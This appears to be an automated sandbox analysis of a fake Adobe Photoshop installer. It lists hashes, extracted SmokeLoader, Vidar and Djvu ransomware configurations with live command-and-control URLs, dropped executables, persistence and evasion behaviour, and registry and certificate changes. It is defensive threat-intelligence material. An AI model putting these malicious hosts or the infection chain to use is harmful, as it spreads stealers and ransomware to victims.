Analysis
-
max time kernel
180s -
max time network
439s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
23-10-2021 17:27
Static task
static1
Behavioral task
behavioral1
Sample
Password_is_5432764372___Adobe-Photoshop.exe
Resource
win10-en-20211014
General
-
Target
Password_is_5432764372___Adobe-Photoshop.exe
-
Size
27.6MB
-
MD5
85fc603eb185b9ede6ce8b819554f7d8
-
SHA1
a90a7830852936c7dc89f39616e70a0e004fa664
-
SHA256
6318be892d092976958575601b5693dea00125d9c6f67df89a722fd4e7f8c1f6
-
SHA512
909e7404759153b44a6e8583709b4211dab000c5747b5f5f044b17c122f44ae1ec8880d1e4afb209ee2838bab0a22c91014203b7c11eb54cc61d03eeb141d3b4
Malware Config
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Extracted
vidar
41.5
933
https://mas.to/@xeroxxx
-
profile_id
933
Extracted
djvu
http://rlrz.org/lancer
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4696 4484 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9148 4484 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4204-344-0x0000000000418542-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral1/memory/4672-351-0x0000000000400000-0x00000000008EF000-memory.dmp family_vidar behavioral1/memory/4672-378-0x0000000000C70000-0x0000000000D46000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS49684088\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS49684088\libcurl.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS49684088\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS49684088\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS49684088\libstdc++-6.dll aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 35 IoCs
Processes:
SmartFix.exeSFXStart.exeSFXWget.exewget.exeSmartFix.exeSFXStart.exeSFXWget.exewget.exeSmartFix.exeSFXWget.exewget.exeAutoruns.exesetup_x86_x64_install.exesetup_installer.exesetup_install.exeSat14f1396dfcf191bd.exeSat14514904a4b.exeSat14febbc433.exeSat142ac5249376e895.exeSat14d32a38896785b13.exeSat14a7594cc5a0116.exeSat144474a564d26f29.exeSat1427fbafcf251.exeSat1487ca754e680f91.exeSat14b47e86b9c16b.exeSat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.tmpSat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.tmp3354500.exejM_2VJjb2ZqBNQWW5MzkJhrB.exe7835361.exe1727885.exeD7DA.exeSat142b09ae40c44cf.exepid process 3536 SmartFix.exe 1040 SFXStart.exe 60 SFXWget.exe 1384 wget.exe 1328 SmartFix.exe 2020 SFXStart.exe 1988 SFXWget.exe 2240 wget.exe 516 SmartFix.exe 1348 SFXWget.exe 1568 wget.exe 2012 Autoruns.exe 1220 setup_x86_x64_install.exe 1684 setup_installer.exe 1508 setup_install.exe 1848 Sat14f1396dfcf191bd.exe 2720 Sat14514904a4b.exe 916 Sat14febbc433.exe 2308 Sat142ac5249376e895.exe 3316 Sat14d32a38896785b13.exe 3124 Sat14a7594cc5a0116.exe 1272 Sat144474a564d26f29.exe 3540 Sat1427fbafcf251.exe 3168 Sat1487ca754e680f91.exe 1512 Sat14b47e86b9c16b.exe 1220 Sat1481f5a7e3eccdd.exe 3780 Sat1481f5a7e3eccdd.tmp 3724 Sat1481f5a7e3eccdd.exe 1836 Sat1481f5a7e3eccdd.tmp 432 3354500.exe 676 jM_2VJjb2ZqBNQWW5MzkJhrB.exe 768 7835361.exe 3280 1727885.exe 3556 D7DA.exe 3880 Sat142b09ae40c44cf.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Sat1487ca754e680f91.exeSat144474a564d26f29.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Sat1487ca754e680f91.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Sat144474a564d26f29.exe -
Loads dropped DLL 31 IoCs
Processes:
SmartFix.exeSFXStart.exeSFXWget.exeSmartFix.exeSFXStart.exeSFXWget.exeSmartFix.exeSFXWget.exesetup_install.exeSat1481f5a7e3eccdd.tmpSat1481f5a7e3eccdd.tmppid process 3536 SmartFix.exe 3536 SmartFix.exe 3536 SmartFix.exe 1040 SFXStart.exe 60 SFXWget.exe 60 SFXWget.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1328 SmartFix.exe 1328 SmartFix.exe 1328 SmartFix.exe 2020 SFXStart.exe 1988 SFXWget.exe 1988 SFXWget.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 516 SmartFix.exe 516 SmartFix.exe 516 SmartFix.exe 1348 SFXWget.exe 1348 SFXWget.exe 1508 setup_install.exe 1508 setup_install.exe 1508 setup_install.exe 1508 setup_install.exe 1508 setup_install.exe 1508 setup_install.exe 3780 Sat1481f5a7e3eccdd.tmp 1836 Sat1481f5a7e3eccdd.tmp -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 26 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 393 wtfismyip.com 509 ipinfo.io 547 wtfismyip.com 73 ip-api.com 88 ipinfo.io 370 ipinfo.io 665 wtfismyip.com 708 ipinfo.io 277 ipinfo.io 310 ipinfo.io 661 api.2ip.ua 690 ip-api.com 711 ipinfo.io 387 ipinfo.io 86 ipinfo.io 87 ipinfo.io 278 ipinfo.io 366 ipinfo.io 382 wtfismyip.com 383 wtfismyip.com 386 ipinfo.io 507 ipinfo.io 508 ipinfo.io 546 wtfismyip.com 660 api.2ip.ua 689 api.2ip.ua -
Drops file in System32 directory 1 IoCs
Processes:
explorer.exedescription ioc process File opened for modification C:\Windows\System32\9wqovn.exe explorer.exe -
Drops file in Windows directory 4 IoCs
Processes:
SmartFix.exeWerFault.exewget.exedescription ioc process File opened for modification C:\Windows\SmartFix\ SmartFix.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File created C:\Windows\SmartFix\AutoRuns.exe wget.exe File opened for modification C:\Windows\SmartFix\AutoRuns.exe wget.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 27 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 1656 916 WerFault.exe Sat14febbc433.exe 816 916 WerFault.exe Sat14febbc433.exe 4324 916 WerFault.exe Sat14febbc433.exe 4640 916 WerFault.exe Sat14febbc433.exe 2984 916 WerFault.exe Sat14febbc433.exe 4288 2128 WerFault.exe setup.exe 5188 2128 WerFault.exe setup.exe 5732 2128 WerFault.exe setup.exe 5908 916 WerFault.exe Sat14febbc433.exe 4548 6104 WerFault.exe 4496 2128 WerFault.exe setup.exe 5300 916 WerFault.exe Sat14febbc433.exe 6212 2128 WerFault.exe setup.exe 6352 6104 WerFault.exe UrCRSMvxkZrT5td26d3qPZbT.exe 6936 6104 WerFault.exe UrCRSMvxkZrT5td26d3qPZbT.exe 4728 6104 WerFault.exe UrCRSMvxkZrT5td26d3qPZbT.exe 4936 4876 WerFault.exe 5.exe 1656 2128 WerFault.exe setup.exe 7124 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 3176 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 4928 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 4160 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 6000 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 7536 1136 WerFault.exe 7suN8YWf84EgMUegikKOqdN7.exe 8132 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 7396 4452 WerFault.exe OJFAH4TWkMSnCwENX9Roettk.exe 7548 5168 WerFault.exe FastPC.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
Sat14a7594cc5a0116.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sat14a7594cc5a0116.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sat14a7594cc5a0116.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sat14a7594cc5a0116.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 6424 schtasks.exe 4724 schtasks.exe 4108 schtasks.exe 1220 schtasks.exe 7880 schtasks.exe -
Kills process with taskkill 7 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4840 taskkill.exe 4272 taskkill.exe 8120 taskkill.exe 10152 taskkill.exe 2544 taskkill.exe 6976 taskkill.exe 6808 taskkill.exe -
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 explorer.exe -
Modifies registry class 39 IoCs
Processes:
explorer.exePassword_is_5432764372___Adobe-Photoshop.exeAutoruns.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Password_is_5432764372___Adobe-Photoshop.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\ = "Autoruns Log File" Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\shell\open\command Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\DefaultIcon\ = "\"C:\\Windows\\SmartFix\\Autoruns.exe\",0" Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\NodeSlot = "2" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Password_is_5432764372___Adobe-Photoshop.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\.ARN\ = "Autoruns.Logfile.1" Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 = 5a00310000000000585391a1100053797374656d33320000420009000400efbe724a0b5d585391a12e0000002f0f0000000001000000000000000000000000000000b8dc0f00530079007300740065006d0033003200000018000000 explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic" explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\.ARN Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1 Autoruns.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\shell\open\command\ = "\"C:\\Windows\\SmartFix\\Autoruns.exe\" \"%1\"" Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\shell\open Autoruns.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0 = 5600310000000000585371a1100057696e646f777300400009000400efbe724a0b5d585371a12e0000006b0500000000010000000000000000000000000000002a1e7900570069006e0064006f0077007300000016000000 explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\0 explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags explorer.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\shell Autoruns.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Autoruns.Logfile.1\DefaultIcon Autoruns.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = 00000000ffffffff explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0\MRUListEx = 00000000ffffffff explorer.exe -
Processes:
Autoruns.exeSFXStart.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c00000001000000040000000008000019000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b688518687e0000000100000008000000000063f58926d7011d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b0400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Autoruns.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e SFXStart.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 